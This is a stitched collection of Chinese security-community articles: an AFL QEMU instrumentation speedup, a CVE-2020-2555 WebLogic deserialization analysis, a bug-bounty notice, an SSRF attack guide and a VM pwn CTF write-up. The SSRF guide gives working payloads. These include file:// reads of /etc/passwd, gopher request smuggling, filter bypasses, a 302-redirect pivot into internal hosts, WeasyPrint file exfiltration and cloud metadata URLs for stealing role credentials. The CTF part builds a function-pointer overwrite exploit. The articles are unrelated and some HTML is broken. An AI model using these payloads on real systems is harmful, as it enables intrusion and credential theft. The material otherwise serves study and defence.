的确，通过`cpu_tb_exec`的插桩，如果你不取消chain就会导致比较低的稳定性，但是那是由于你完全没有追踪直接跳转造成的，所以其实我不会把它称作一种“瑕疵“，不管怎么说，取消chain都是一个非常大的性能影响，所以我们能够想个办法解决这个问题么？
## TCG插桩
我的想法是通过把插桩直接移入到编译后的代码中，通过在每一个TB前都注入一段TCG
IR来实现。这样的话，插桩就直接变成了模拟的程序的一部分，所以我们不需要让模拟器每次都跳回去，而且也可以重新打开chain。
这里是原来的`qemu_mode/patches/afl-qemu-cpu-inl.h`里的`afl_maybe_log`：
/* The equivalent of the tuple logging routine from afl-as.h. */
static inline void afl_maybe_log(abi_ulong cur_loc) {
static __thread abi_ulong prev_loc;
/* Optimize for cur_loc > afl_end_code, which is the most likely case on
Linux systems. */
if (cur_loc > afl_end_code || cur_loc < afl_start_code || !afl_area_ptr)
return;
/* Looks like QEMU always maps to fixed locations, so ASAN is not a
concern. Phew. But instruction addresses may be aligned. Let's mangle
the value to get something quasi-uniform. */
cur_loc = (cur_loc >> 4) ^ (cur_loc << 8);
cur_loc &= MAP_SIZE - 1;
/* Implement probabilistic instrumentation by looking at scrambled block
address. This keeps the instrumented locations stable across runs. */
if (cur_loc >= afl_inst_rms) return;
afl_area_ptr[cur_loc ^ prev_loc]++;
prev_loc = cur_loc >> 1;
}
所有依赖`cur_loc`的都可以在翻译时完成，因为`cur_loc`是当前块的地址，所以简单来说我们只需要对最后两行去生成TCG
IR，所以我写了这么一段：
tatic void afl_gen_trace(target_ulong cur_loc)
{
static __thread target_ulong prev_loc;
TCGv index, count, new_prev_loc;
TCGv_ptr prev_loc_ptr, count_ptr;
/* 针对cur_loc > afl_end_code 进行优化，这种情况也是linux系统上的大多数情况 */
/* Optimize for cur_loc > afl_end_code, which is the most likely case on
Linux systems. */
if (cur_loc > afl_end_code || cur_loc < afl_start_code || !afl_area_ptr)
return;
/* 好像QEMU总是会映射到固定位置，所以ASAN不太需要去注意，还好。但是指令地址必须要对齐，那我们把值混一下来得到点拟均匀的东西。 */
/* Looks like QEMU always maps to fixed locations, so ASAN is not a
concern. Phew. But instruction addresses may be aligned. Let's mangle
the value to get something quasi-uniform. */
cur_loc = (cur_loc >> 4) ^ (cur_loc << 8);
cur_loc &= MAP_SIZE - 1;
/* 通过去查看扰乱的块地址来实现概率插桩，这样使得每次运行插桩位置稳定 */
/* Implement probabilistic instrumentation by looking at scrambled block
address. This keeps the instrumented locations stable across runs. */
if (cur_loc >= afl_inst_rms) return;
/* index = prev_loc ^ cur_loc */
prev_loc_ptr = tcg_const_ptr(&prev_loc);
index = tcg_temp_new();
tcg_gen_ld_tl(index, prev_loc_ptr, 0);
tcg_gen_xori_tl(index, index, cur_loc);
/* afl_area_ptr[index]++ */
count_ptr = tcg_const_ptr(afl_area_ptr);
tcg_gen_add_ptr(count_ptr, count_ptr, TCGV_NAT_TO_PTR(index));
count = tcg_temp_new();
tcg_gen_ld8u_tl(count, count_ptr, 0);
tcg_gen_addi_tl(count, count, 1);
tcg_gen_st8_tl(count, count_ptr, 0);
/* prev_loc = cur_loc >> 1 */
new_prev_loc = tcg_const_tl(cur_loc >> 1);
tcg_gen_st_tl(new_prev_loc, prev_loc_ptr, 0);
}
在每次翻译一个块之前都需要调用这一段，TB IR的生成在`tb_gen_code`(`accel/tcg/translate-all.c`)里进行的，在里边调用了目标机前端的`gen_intermediate_code`函数：
tcg_ctx.cpu = ENV_GET_CPU(env);
gen_intermediate_code(cpu, tb);
tcg_ctx.cpu = NULL;
所以我们hook一下，来在每一个块之前插入我们的IR：
tcg_ctx.cpu = ENV_GET_CPU(env);
afl_gen_trace(pc);
gen_intermediate_code(cpu, tb);
tcg_ctx.cpu = NULL;
现在我们就可以从AFL(`afl-analyze.c`, `afl-fuzz.c`, `afl-showmap.c`, `afl-tmin.c`)里去掉`setenv("QEMU_LOG", "nochain", 1)`之后测试了。
## chain缓存
如同我之前提到的，AFL使用了一个forkserver策略来减少初始化的额外消耗，基本上说，forkserver在初始化之后启动，然后根据AFL的请求来fork出子进程。每一个子进程都执行一个test
case，这样的方法是可以消除QEMU初始化的消耗的，但是会导致严重的TCG
缓存颠簸(thrashing)，因为父进程在初始化之后的缓存是空的，所以会导致子进程都以空缓存状态开始启动。为了避免这个情况，AFL的patch在父进程和子进程之间建立了一个管道，子进程使用这个管道来在每一次新的基本块翻译的时候提醒父进程，父进程之后就在自己的缓存里翻译这个块，这样未来的子进程就可以使用这个缓存了（这样的话，每个块会翻译两次，我也不觉得为了避免翻译两次而采用非常复杂的序列化有什么价值）
为了做到这个，AFL patch了`accel/tcg/cpu-exec.c`里的`tb_find`，在`tb_gen_code`后面插入了一个`afl_request_tsl`的调用，来翻译这个块。`afl_request_tsl`函数会把需要用来标识TB的信息（地址，CS基地址，flags）发给父进程，父进程此时正在`afl_wait_tsl`里等待，最终`afl_wait_tsl`会调用`tb_gen_code`来在父进程的缓存中翻译一个块。
`tb_find`函数接受几个参数，`last_tb`和`tb_exit`，这两个参数可以分别标识前一个TB和前一个TB的最后一条指令使我们到达现在位置的的
_jump slot_ 。在翻译之后，如果请求的块不是已经被处理过，`tb_find`就通过patch前一个块的jump slot来进行chain：
/* 看下我们是否可以patch正在调用的TB */
/* See if we can patch the calling TB. */
if (last_tb && !qemu_loglevel_mask(CPU_LOG_TB_NOCHAIN)) {
if (!have_tb_lock) {
tb_lock();
have_tb_lock = true;
}
if (!tb->invalid) {
tb_add_jump(last_tb, tb_exit, tb);
}
}
然而`afl_wait_tsl`没有这么做，也就是说在TB间的chain不会被缓存。我实现了patch后的jump
slot的缓存，基本上是通过在我们到达`tb_add_jump`块的时候通知父进程来实现的。为了实现这个做了一点重构，细节这里就不再说了，可以看看后面的补丁。
## 结果
我没时间来进行非常详尽的测试，但是我在32和64位x86目标机上做了一下测试（在64
x86宿主机上），第一版没有chain缓存的，大概是原来速度的1.5到3倍，加上chain缓存，可以达到3到4倍的速度。路径计数和`afl-showmap`看起来可以确认trace是正确的，所以我还是很自信它应该是按照想象的情况工作的。
## 试一下！
TCG插桩已经在[我的AFL
fork](https://github.com/abiondo/afl)，build和运行qemu模式都和平常一样，我的fork还包含一个导致GNU
libc >=
2.27时编译错误的`memfd_create`的patch，所以在linux上build应该很容易。如果你测试了，并且有更好的性能比较，issue，任何问题，都可以留个评论！ | 社区文章 |
# CVE-2020-2555：Oracle Coherence&WebLogic反序列化远程代码执行分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：Hu3sky@360CERT
## 0x01 漏洞背景
2020年3月6日，Oracle Coherence 反序列化远程代码执行漏洞（CVE-2020-2555）的细节被公开，Oracle
Coherence为Oracle融合中间件中的产品，在WebLogic
12c及以上版本中默认集成到WebLogic安装包中，攻击者通过t3协议发送构造的序列化数据，能过造成命令执行的效果
## 0x02 影响版本
* Oracle Coherence 3.7.1.17
* Oracle Coherence 12.1.3.0.0
* Oracle Coherence 12.2.1.3.0
* Oracle Coherence 12.2.1.4.0
## 0x03 漏洞分析
测试版本：
1. jdk: 8u191
2. weblogic: 12.2.1.4.0
Gadget chain:
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
LimitFilter.toString()
ChainedExtractor.extract()
ReflectionExtractor.extract()
Method.invoke()
Class.getMethod()
ReflectionExtractor.extract()
Method.invoke()
Runtime.getRuntime()
ReflectionExtractor.extract()
Method.invoke()
Runtime.exec()
官方修补了LimitFilter.toString()方法，修补前的该方法如下
主要关注我标记了的地方，如果m_comparator属性是ValueExtractor的实例，那么就会去调用extract方法，并且传入m_oAnchorTop属性，这里的属性都可控，这里我们就需要明确最终的目的，造成命令执行，比较理想的就是能够调用Method.invoke()，通过反射调用任意方法，通过寻找，发现了com.tangosol.util.extractor.ReflectionExtractor类的extract方法中，存在利用点，并且该类可被序列化
我们看到他的extract方法，调用了method.invoke，两个参数都为序列化中的可控变量
直接通过构造方法进行赋值
不过我们知道，单凭这一个method.invoke是没法调用到Runtime.getRuntime().exec()的，需要再去寻找一个中间点去反复调用这个方法，这里就十分的类似Commons
Collections的gadgets，那么这个中间点就是com.tangosol.util.extractor.ChainedExtractor方法，他的extract方法
每执行一次method.invoke的结果都会return，作为下一次执行的参数。不过要注意第一次循环的时候，需要手动传入oTarget参数，也就是LimitFilter.toString()传入extract的m_oAnchorTop参数，如果我们要达到命令执行的目的，就需要赋值为Runtime.class
这样就能够将一整个反射给连接起来了，通过反射来造成java.lang.Runtime.getRuntime().exec的效果
那么回到最开始，我们还没有说怎么去调用LimitFilter.toString()方法，看到BadAttributeValueExpException重写的readObject方法，这里的readObject的valObj变量是我们可控的，在进行反序列化时，java会调用ObjectInputStream类的readObject()方法。如果被反序列化的类重写了readObject方法，那么该类在进行反序列化时，Java会优先调用重写的readObject方法
类似的gadgets也出现在[CommonsCollections5](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections5.java)里，
这样，一条完整的gadget chain就被连接起来。
## 0x04 漏洞证明
通过t3协议将反序列化数据发送给weblogic server
## 0x05 修复建议
升级补丁，参考oracle官网发布的补丁<https://www.oracle.com/security-alerts/cpujan2020.html>
如果不依赖T3协议进行JVM通信，禁用T3协议。
进入WebLogic控制台，在base_domain配置页面中，进入安全选项卡页面，点击筛选器，配置筛选器。
在连接筛选器中输入：weblogic.security.net.ConnectionFilterImpl，在连接筛选器规则框中输入 7001 deny t3
t3s 保存生效（需重启）
## 0x06 时间线
2020-03-06 漏洞细节被公开
2020-03-06 360-CERT 发布预警
2020-03-09 360-CERT 发布分析
## 0x07 参考链接
1. <https://www.thezdi.com/blog/2020/3/5/cve-2020-2555-rce-through-a-deserialization-bug-in-oracles-weblogic-server> | 社区文章 |
先知通用漏洞收集计划正式开始，奖金丰厚。
目前已经有多位100W奖金白帽子，大家积极参与。
活动详情链接: <https://help.aliyun.com/document_detail/474300.html>
漏洞提交地址： <https://xianzhi.aliyun.com/productitem/index.htm#/home>
大家看活动详情的时候，别只看范围，下面的提交格式要求，以及奖金发放的说明，以及注意事项，都要详细阅读。
大家看活动详情的时候，别只看范围，下面的提交格式要求，以及奖金发放的说明，以及注意事项，都要详细阅读。
大家看活动详情的时候，别只看范围，下面的提交格式要求，以及奖金发放的说明，以及注意事项，都要详细阅读。
目前不在范围的目标，可联系管理员评估，后期范围会更新改动。 | 社区文章 |
# SRC中的SSRF小记
## ssrf - 漏洞简介
SSRF全称：Server-Side Request Forgery，即
服务器端请求伪造。是一个由攻击者构造请求，在目标服务端执行的一个安全漏洞。攻击者可以利用该漏洞使服务器端向攻击者构造的任意域发出请求，目标通常是从外网无法访问的内部系统。简单来说就是利用服务器漏洞以服务器的身份发送一条构造好的请求给服务器所在内网进行攻击。
## ssrf - 漏洞原理
SSRF全称为Server-side Request
Fogery,中文含义为服务器端请求伪造，漏洞产生的原因是服务端提供了能够从其他服务器应用获取数据的功能，比如从指定的URL地址获取网页内容，加载指定地址的图片、数据、下载等等。漏洞URL示例:
<http://xxx.com/api/readFiles?url=http://10.1.11/xxx>
## ssrf - 漏洞危害
1、可以对服务器所在的内网环境进行端口扫描、资源访问
2、利用漏洞和Payload进一步攻击运行其他的应用程序;
3、对内网web应用进行指纹识别，通过访问应用存在的默认文件实现
4、GET型漏洞利用，GET参数就可以实现的攻击，比如struts2漏洞利用等
5、POST型漏洞利用，可利用gopher协议进行参数构造;
6、利用Redis未授权访问getshell、Weblogic默认SSRF漏洞页面
7、如果ssrf漏洞存在于云服务器
攻击元数据服务
攻击存储桶
攻击Kubelet API
越权攻击云平台内其他组件或服务
## ssrf - 场景及参数
### 常见场景:
1、通过URL地址进行网页分享;
http://share.xxx.com/index.php?url=http://www.xxx.com
2、转码服务，通过URL地址把原地址的网页转换格式
3、图片加载与下载，一般是通过url参数进行图片获取
http://image.xxx.com/image.php?image=http://www.xxx.com
4、未公开的api实现以及其他调用url的功能;
5、设备后台管理进行存活测试;
6、远程资源调用功能;
7、数据库内置功能;
8、编辑器进行远程图片抓取，如: ueditor;
9、打包附件或者内容编辑并导出时
10、PDF生成或导出
### 常见参数:
share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain...
## ssrf - 漏洞成因
### 产生漏洞的函数
根据后台使用的函数的不同，相应的影响和利用方法也不一样，PHP中下面函数的使用不当会导致SSRF:
file_get_contents()
fsockopen()
curl_exec()
#### file_get_contents()
这个函数的作用是将整个文件读入一个字符串中，并且此函数是用于把文件的内容读入到一个字符串中的首选方法。
比如：下面的代码执行结果是输出test.txt文件里面的字符串。
<?php
echo file_get_contents(“test.txt”);
?>
#### fsockopen()
使用fsockopen函数实现获取用户制定url的数据（文件或者html）。
#### curl_exec()
该函数可以执行给定的curl会话。
[root@localhost]# curl -V
curl 7.83.1 (Windows) libcurl/7.83.1 Schannel
Release-Date: 2022-05-13
Protocols: dict file ftp ftps http https imap imaps pop3 pop3s smtp smtps telnet tftp
Features: AsynchDNS HSTS IPv6 Kerberos Largefile NTLM SPNEGO SSL SSPI UnixSockets
## ssrf - 利用协议
SSRF常用的攻击协议: http(s)、file、dict、 **gopher**
Http协议: 最常用的SSRF漏洞利用协议，作用为直接访问http资源。如:
<http://xxx.com/api/readFiles?url=http.//10.1.1.1/x>
File协议:可利用此协议进行服务器文件读取如:<http://xxx.com/api/readFiles?url=file:///ete/passwd>
Dict协议:可用此协议进行端口开放探测如:<http://xxx.com/api/readFiles?url=dict//1000.1:22>
Gopher协议: gopher支持发出GET、POST请求，可进行复杂的漏洞利用
例如，内网中的一处其他的漏洞URL为: <http://xxx.com/get.php?name=admin>
尝试用gopher协议调用此代码，先构造一个GET请求体:
GET /get.php?name=admin HTTP/1.1Host:192.168.1.120
转化为gopher协议请求:
gopher://192.168.1.120:80/ GET%20/get.php%3fname=admin%20HTTP/1.1%0d%0aHost:xxx.com%0d%0aRequest
## ssrf - 常用绕过方法
由于SSRF漏洞危害较大，并且容易出现在各种功能点中，因此开发人员常常对请求资源的域名、IP进行白名单或者黑名单的限制过滤。
一般情况下利用URL解析导致SSRF过滤被绕过基本上都是 **因为后端通过不正确的正则表达式对URL进行了解析** 。
### 绕过某种特定限制
#### @符: 绕过域名
一般用于<http://www.xxx.com等域名不可更改>
例如<http://[email protected]，则实际上访问的是> 10.10.10.10
#### /#/符:绕过后缀
一般用于.jpg等固定后缀不可更改
例如<http://10.10.10.10:5001/#/abc.jpg，实际在浏览器访问的是> <http://10.10.10.10:5001>
### 绕过限制请求IP不为内网地址
#### 1、点分割符号替换:
在浏览器中可以使用不同的分割符号来代替[域名](https://cloud.tencent.com/act/pro/domain-sales?from=10680)中的`.`分割，可以使用`。`、`｡`、`．`来代替
例如：
127。0。0。1
127｡0｡0｡1
#### 2、xip.io:
10.10.10.10.xip.io 会被解析成10.10.10.10
#### 3、数字IP地址:
127.0.0.1的十进制: 2130706433，HTTP访问: <http://2130706433/>
#### 4、短网址：
https://www.985.so/
#### 5、进制转换:
127.0.0.1的八进制: 0177.0.0.1，十六进制: 0x7f.0.0.1
#### 6、封闲式字母数字(Enclosed Alphanumerics):
ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ >>> example.com
①②⑦. ⓪.⓪.①>>> 127.0.0.1
#### 7、 **DNS重绑定** :
一般进行 ssrf 防御的模式如下：
1. 获取到输入的URL，从该URL中提取host
对该host进行DNS解析，获取到解析的IP
2. 访问规则判断该IP是否在指定范围内（即判断IP是否符合规则）
如果IP在范围内，即对此URL发起请求
如果IP不在范围内，则请求失败
然而访问规则在判段得到的IP为指定范围内IP，到服务端请求URL这个中间还存在一个细微的时间差，
DNS重绑定则是利用这一点，让服务器第一次解析host的ip为符合规则的公网IP，在第二次请求解析URL时host的ip又变为了不符合规则的内网IP，从而进行ssrf。
这里推荐使用burpsuite的intruder模块，来批量发送请求，以利用时间差完成ssrf。
在线DNS重绑定平台：<https://lock.cmpxchg8b.com/rebinder.html>
#### 8、 **302重定向：**
需要一个vps，把302转换的代码部署到vps上，然后去访问，就可跳转到内网中
服务端代码如下：
<?php
header("Location: http://192.168.1.10");
exit();
?>
#### 9、绕过localhost:
http://[::1]
http://[::]:80/
http://0:80
### 协议限制绕过:
如禁用了部分协议，尝试转换使用协议;
http(s)、file、dict、gopher、（sftp、ldap、tftp）
## ssrf - 漏洞案例
#### 导入/导出型ssrf（无回显）
漏洞原理：在导入/上传图片、数据等内容时时将图片链接换成dnslog链接，服务器则在请求资源时会访问dnslog链接
Vps 设置 302 跳转 访问内网
302.php
<?php
header("HTTP/1.1 302 found");
header("Location:http://10.x.x.x:5001/index?host=dnslog.requestrepo.com");
exit();
?>
POST /api/apimanage/trans/getThirdPartSwaggerJsonByAddr/ HTTP/1.1
Host: apicloud.xxx.com
Cookie:xxx=xxx
{"addr":"[http://106.12.xx.xx/302.php"}](http://106.12.xx.xx/302.php)
#### HTML导出PDF下的ssrf（组件）
WeasyPrint是一个用于HTML和CSS的可视化渲染引擎，可以将HTML文档导出为打印标准的PDF文件。
WeasyPrint重新定义了一组html标签，包括img，embed，object等。根据我们之前的测试，我们已经知道javascript不是利用这一点的选项。在这一点上，我们的希望很低，我们开始认为PDF生成器不再可利用，直到我们发现对<链接>内部的几个文件的引用，包括pdf.py。这使我们能够通过使用 将任何网页或本地文件的内容附加到我们的 PDF 中。
<link rel=attachment href="file:///root/secret.txt">
特殊标签用法：在html标签前的双引号符号(”)，补充单引号（'），会被允许在PDF中解析
最终使用<iframe>遵循特殊标签用法处理插入后，成功外连，漏洞存在</p> <p><img
src="https://xzfile.aliyuncs.com/media/upload/picture/20230227121328-165f36ea-b655-1.png"
alt=""></p> <p>进一步利用</p> <p>使用file协议，获取敏感文件</p> <pre><code><link
rel=attachment href="file:///root/secret.txt"></code></pre> <p><img
src="https://xzfile.aliyuncs.com/media/upload/picture/20230227121340-1daeb86c-b655-1.png"
alt=""></p> <h4>云上ssrf利用</h4> <p>云服务器一般会公开每个实例的内部服务(一般在帮助文档中都能查看)</p>
<p>如果发现云服务器中的 SSRF 漏洞，可以直接查询主机实例的元数据从⽽进⼀步深⼊利⽤。</p> <p>腾讯云：</p>
<pre><code>访问元数据 http://metadata.tencentyun.com/latest/meta-data/ 获取 metadata
版本信息。 查询实例元数据。 http://metadata.tencentyun.com/latest/meta-data/placement/region 获取实例物理所在地信息。 http://metadata.tencentyun.com/latest/meta-data/local-ipv4 获取实例内⽹ IP。实例存在多张⽹卡时，返回 eth0 设备的⽹络地址。
http://metadata.tencentyun.com/latest/meta-data/public-ipv4 获取实例公⽹ IP。
http://metadata.tencentyun.com/network/interfaces/macs/${mac}/vpc-id 实例⽹络接⼝
VPC ⽹络 ID。 在获取到⻆⾊名称后，可以通过以下链接取⻆⾊的临时凭证，${role-name} 为 CAM ⻆⾊ 的名称：
http://metadata.tencentyun.com/latest/meta-data/cam/security-credentials/${role name}</code></pre> <p>阿里云：</p> <pre><code>查看实例元数据的根目录
http://100.100.100.200/latest/meta-data 查看实例ID：
http://100.100.100.200/latest/meta-data/instance-id 访问RAM 角色的临时凭证：
http://100.100.100.200/latest/meta-data/ram/security-credentials/ 获取AK SK信息
http://100.100.100.200/latest/meta-data/ram/security-credentials/huocorp-terraform-goat-role</code></pre> <p>具体云上ssrf漏洞案例可自行查看文章:</p>
<pre><code>https://www.wangan.com/p/7fy784ff26339e4e
https://hackerone.com/reports/341876
http://www.myzaker.com/article/60c181bb8e9f0941bb67ffac
https://help.aliyun.com/document_detail/108460.html#section-w35-csp-imo</code></pre> <h2>ssrf - 加固和防御</h2> <p>内网环境下ssrf</p> <ol> <li>去除url中的特殊字符
</li> <li>将域名解析为IP，对内网IP进行限制</li> <li>不跟随30x跳转（跟随跳转需要从1开始重新检测）</li>
<li>禁用高危协议，例如：gopher、dict、ftp、file等，只允许http/https</li> <li>请求时设置host header为ip
</li> <li>统一错误信息，避免用户可以根据错误信息来判断远程服务器的端口状态。</li> </ol> <p>云上ssrf</p> <ol>
<li><p>加固模式</p> <p>加固模式下，实例基于token鉴权查看实例元数据，相比普通模式对SSRF攻击有更好的防范效果。</p>
<p></p> </li> <li><p>普通模式</p> </li> </ol> <p>
限制用户RAM角色权限，只赋予自己所需要的权限，这样可以将影响程度降到最低。</p> <p></p> <p>（
以下为阿里云官方文档中普通模式和加固模式的对比）</p> <p><img
src="https://xzfile.aliyuncs.com/media/upload/picture/20230227121357-280e8008-b655-1.png"
alt=""></p> <p><img
src="https://xzfile.aliyuncs.com/media/upload/picture/20230227121411-3047854e-b655-1.png"
alt=""></p> <h2>参考文章:</h2> <p><a
href="http://blog.leanote.com/post/snowming/e2c24cf057a4">http://blog.leanote.com/post/snowming/e2c24cf057a4</a></p>
<p><a
href="https://mp.weixin.qq.com/s/RWmyPp9CBFjANz162_fBgA?exportid=export/UzFfAgtgekIEAQAAAAAAiqcJ9zQpKgAAAAstQy6ubaLX4KHWvLEZgBPE7YFwdxMPKLqBzNPgMItebr37kwBZSL05nyRkt6-j&sessionid=-1948127107">https://mp.weixin.qq.com/s/RWmyPp9CBFjANz162_fBgA?exportid=export/UzFfAgtgekIEAQAAAAAAiqcJ9zQpKgAAAAstQy6ubaLX4KHWvLEZgBPE7YFwdxMPKLqBzNPgMItebr37kwBZSL05nyRkt6-j&sessionid=-1948127107</a></p>
<p><a href="https://aws.amazon.com/cn/blogs/china/talking-about-the-metadata-protection-on-the-instance-from-the-data-leakage-of-capital-one/">https://aws.amazon.com/cn/blogs/china/talking-about-the-metadata-protection-on-the-instance-from-the-data-leakage-of-capital-one/</a></p> <p><a
href="https://zhuanlan.zhihu.com/p/419610674">https://zhuanlan.zhihu.com/p/419610674</a></p>
<p><a
href="https://cloud.tencent.com/developer/article/1942119">https://cloud.tencent.com/developer/article/1942119</a></p>
<p><a
href="https://blog.csdn.net/qq_43531669/article/details/113052373">https://blog.csdn.net/qq_43531669/article/details/113052373</a></p>
<p><a
href="https://help.aliyun.com/document_detail/108460.htm?spm=a2c4g.11186623.0.0.61c42032asxaiH#concept-dwj-y1x-wgb">https://help.aliyun.com/document_detail/108460.htm?spm=a2c4g.11186623.0.0.61c42032asxaiH#concept-dwj-y1x-wgb</a></p> </iframe> | 社区文章 |
# 记一道有趣的VM PWN
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
题目亮点在于无需泄露`libc`地址，操控程序内部计算即可进行精准覆盖。
## 题目信息
题目附件：`pwn`、`libc-2.27.so`
radish ➜ nice checksec pwn
[*] '/root/nice/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
radish ➜ nice strings pwn | grep "GCC"
GCC: (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0
radish ➜ nice ./libc-2.27.so
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1.4) stable release version 2.27.
Copyright (C) 2018 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 7.5.0.
libc ABIs: UNIQUE IFUNC
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
## 程序分析
`main`函数逻辑很简单，先是在bss段上读入一个字符串，然后调用了`execve`函数
`execve`函数中实现了一套虚拟指令，提供的功能有加减乘除的赋值运算，并没有其他输出输入的操作
v1 = 0LL;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
v29 = *(&unk_202060 + v1++ + 512);
result = v29;
if ( v29 != 6 )
break;
v15 = *(&unk_202060 + v1 + 512);
v6 = v1 + 1;
v24 = *(&unk_202060 + v6 + 512);
v1 = v6 + 1;
*(&unk_202060 + v15) *= v24;
}
if ( v29 > 6 )
break;
if ( v29 == 3 )
{
v13 = *(&unk_202060 + v1 + 512);
v4 = v1 + 1;
v22 = *(&unk_202060 + v4 + 512);
v1 = v4 + 1;
*(&unk_202060 + v13) -= v22;
}
else if ( v29 > 3 )
{
v14 = *(&unk_202060 + v1 + 512);
v5 = v1 + 1;
v23 = *(&unk_202060 + v5 + 512);
v1 = v5 + 1;
if ( v29 == 4 )
*(&unk_202060 + v14) += *(&unk_202060 + v23);
else
*(&unk_202060 + v14) -= *(&unk_202060 + v23);
}
else if ( v29 == 1 )
{
v11 = *(&unk_202060 + v1 + 512);
v2 = v1 + 1;
v20 = *(&unk_202060 + v2 + 512);
v1 = v2 + 1;
*(&unk_202060 + v11) = v20;
}
else if ( v29 == 2 )
{
v12 = *(&unk_202060 + v1 + 512);
v3 = v1 + 1;
v21 = *(&unk_202060 + v3 + 512);
v1 = v3 + 1;
*(&unk_202060 + v12) += v21;
}
}
if ( v29 != 9 )
break;
v17 = *(&unk_202060 + v1 + 512);
v8 = v1 + 1;
v26 = *(&unk_202060 + v8 + 512);
v1 = v8 + 1;
*(&unk_202060 + *(&unk_202060 + v17)) -= *(&unk_202060 + v26);
}
if ( v29 > 9 )
break;
v16 = *(&unk_202060 + v1 + 512);
v7 = v1 + 1;
v25 = *(&unk_202060 + v7 + 512);
v1 = v7 + 1;
if ( v29 == 7 )
*(&unk_202060 + v16) /= v25;
else
*(&unk_202060 + *(&unk_202060 + v16)) += *(&unk_202060 + v25);
}
if ( v29 != 11 )
break;
v19 = *(&unk_202060 + v1 + 512);
v10 = v1 + 1;
v28 = *(&unk_202060 + v10 + 512);
v1 = v10 + 1;
*(&unk_202060 + v19) -= *(&unk_202060 + *(&unk_202060 + v28));
}
if ( v29 >= 11 )
break;
v18 = *(&unk_202060 + v1 + 512);
v9 = v1 + 1;
v27 = *(&unk_202060 + v9 + 512);
v1 = v9 + 1;
*(&unk_202060 + v18) += *(&unk_202060 + *(&unk_202060 + v27));
}
}
while ( v29 != 0xFF );
return result;
}
## 解题思路
我并没有想到有什么办法可以泄露libc地址，但是可以通过任意地址写，而写的值也是可以通过`.bss`段上的数据计算得出。我的思路就是劫持__rtld_lock_unlock_recursive
当程序正常退出时，会调用这里的代码。指向此地址的指针（以下称之为指着P）在`/lib/x86_64-linux-gnu/ld-2.27.so`地址空间中。原理可查看源码`glibc/elf/dl-fini.c`
通过以下方式找到该指针
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x555555554000 0x555555556000 r-xp 2000 0 /root/nice/pwn
0x555555755000 0x555555756000 r--p 1000 1000 /root/nice/pwn
0x555555756000 0x555555757000 rw-p 1000 2000 /root/nice/pwn
0x555555757000 0x55555575a000 rw-p 3000 0 [heap]
0x7ffff79e4000 0x7ffff7bcb000 r-xp 1e7000 0 /lib/x86_64-linux-gnu/libc-2.27.so
0x7ffff7bcb000 0x7ffff7dcb000 ---p 200000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7ffff7dcb000 0x7ffff7dcf000 r--p 4000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7ffff7dcf000 0x7ffff7dd1000 rw-p 2000 1eb000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7ffff7dd1000 0x7ffff7dd5000 rw-p 4000 0
0x7ffff7dd5000 0x7ffff7dfc000 r-xp 27000 0 /lib/x86_64-linux-gnu/ld-2.27.so
0x7ffff7fdf000 0x7ffff7fe1000 rw-p 2000 0
0x7ffff7ff8000 0x7ffff7ffb000 r--p 3000 0 [vvar]
0x7ffff7ffb000 0x7ffff7ffc000 r-xp 1000 0 [vdso]
0x7ffff7ffc000 0x7ffff7ffd000 r--p 1000 27000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7ffff7ffd000 0x7ffff7ffe000 rw-p 1000 28000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7ffff7ffe000 0x7ffff7fff000 rw-p 1000 0
0x7ffffffde000 0x7ffffffff000 rw-p 21000 0 [stack]
0xffffffffff600000 0xffffffffff601000 --xp 1000 0 [vsyscall]
pwndbg> p rtld_lock_default_unlock_recursive
$1 = {void (void *)} 0x7ffff7dd60f0 <rtld_lock_default_unlock_recursive>
pwndbg> search -p 0x7ffff7dd60f0
warning: Unable to access 16000 bytes of target memory at 0x7ffff7bd2d07, halting search.
ld-2.27.so 0x7ffff7ffdf68 0x7ffff7dd60f0
pwndbg>
修改该指针的思路:
1、修改bss段上stderr的地址为libc基地址，`payload =
p64(3)+p64(0x10000000000000000-4)+p64(0x3ec680)`
2、将指针P的值与`One_gadget`的偏移填充到`0x202060`处，供之后劫持指针使用
3、把原`stderr`地址出修改成`0x202008`到指针P的偏移加上libc地址。`payload +=
p64(2)+p64(0x10000000000000000-4)+p64(0x619000+3944-88)`
>
> 为什么要选择`0x202008`？因为之后修改指针P的值是利用虚拟指令9的功能，之前的操作无法得到地址`0x202060`到指针P的距离，所以我们只能通过先减去一个程序的地址，然后再加上`0x202060`和它们之间的填充（也许是负数）,就可以通过虚拟指令9的功能进行劫持。
4、继步骤三操作，减去程序的某个地址，这里选用`0x202008`,因为它在`stderr`上方附近，便于操作。`payload +=
p64(5)+p64(0x10000000000000000-4)+p64(0x10000000000000000-11)`
5、将步骤3的值除8，因为虚拟指令9是通过`int64`指针进行复制的，所以我们需要计算出Index（类似于数组）。`payload +=
p64(7)+p64(0x10000000000000000-4)+p64(8)`
6、进行指针修改并结束程序。`payload += p64(9)+p64(0x10000000000000000-4)+p64(0)+p64(0xff)`
### exp
#coding:utf-8
from pwn import *
# from LibcSearcher import *
#author:萝卜啊啊啊啊啊啊啊
context.log_level='debug'
debug = 1
file_name = './pwn'
libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
ip = ''
prot = ''
if debug:
r = process(file_name)
libc = ELF(libc_name)
else:
r = remote(ip,int(prot))
libc = ELF(libc_name)
def debug():
gdb.attach(r)
